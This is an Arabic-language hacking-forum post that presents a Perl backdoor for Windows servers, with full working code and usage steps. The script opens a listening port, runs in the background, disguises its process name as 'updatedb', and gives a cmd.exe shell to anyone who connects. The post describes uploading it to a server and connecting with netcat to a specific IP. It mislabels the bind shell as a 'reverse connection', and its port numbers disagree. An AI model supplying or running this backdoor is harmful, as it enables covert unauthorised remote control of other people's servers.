:: vBspiders Professional Network :: - اتصال عكسي: نكات netcat في سرفر وندوز (شرط وجود بيرل في السيرفر)

السلام عليكم و رحمة الله و بركاته
تشغيل اتصال عكسي: نكات في سرفر وندوز (شرط وجود بيرل في السيرفر)
نشوف ملف البيرل:

كود PHP:

   #!/usr/bin/perl

 
$port = 1360;

$port = $ARGV[0] if $ARGV[0];

exit if fork;

$0 = "updatedb" . " " x100;

$SIG{CHLD} = 'IGNORE';

use Socket;

socket(S, PF_INET, SOCK_STREAM, 0);

setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1);

bind(S, sockaddr_in($port, INADDR_ANY));

listen(S, 50);

while(1)

{

    accept(X, S);

    unless(fork)

    {

        open STDIN, "<&X";

        open STDOUT, ">&X";

        open STDERR, ">&X";

        close X;

        exec("/bin/sh");

    }

    close X;

}

الملف يفتح بورت في أنظمة *nix

نغير الأمر

اقتباس:

/bin/sh

إلى

اقتباس:

cmd.exe

و نختار البورت المراد أنا اخترت 4444

الكود بعد التعديل :

كود PHP:

   #!/usr/bin/perl

$port = 4444;

$port = $ARGV[0] if $ARGV[0];

exit if fork;

$0 = "updatedb" . " " x100;

$SIG{CHLD} = 'IGNORE';

use Socket;

socket(S, PF_INET, SOCK_STREAM, 0);

setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1);

bind(S, sockaddr_in($port, INADDR_ANY));

listen(S, 50);

while(1)

{

    accept(X, S);

    unless(fork)

    {

        open STDIN, "<&X";

        open STDOUT, ">&X";

        open STDERR, ">&X";

        close X;

        exec("cmd.exe");

    }

    close X;

}

نرفعه و نشغله في السيرفر

اقتباس:

perl win-bind.pl

http://img198.imageshack.us/img198/9017/34364455.jpg

في حاسوبنا ف نشغل netcat : نتصل بالسيرفر على البورت اللي اخترناه :

اقتباس:

nc -vv remote-ip remote-port

أي:

اقتباس:

nc -vv 217.174.252.229 4400

نشوف الإتصال :

http://img339.imageshack.us/img339/9562/79964343.jpg
نجح و في نفس المجلد اللي شغلنا فيه ملف البيرل !

للتوضيح لست انا مبرمج الملف .هو كان عندي قديم لكن عدلت عليه تعديل واحد فقط لتشغل أمر cmd.exe عند نجاح الإتصال

تحياتي

م ن ق و ل

تحياتي
الموضوع بملف txt عشان الحظر

http://www.4shared.com/file/X-WOY2OM/netcat.html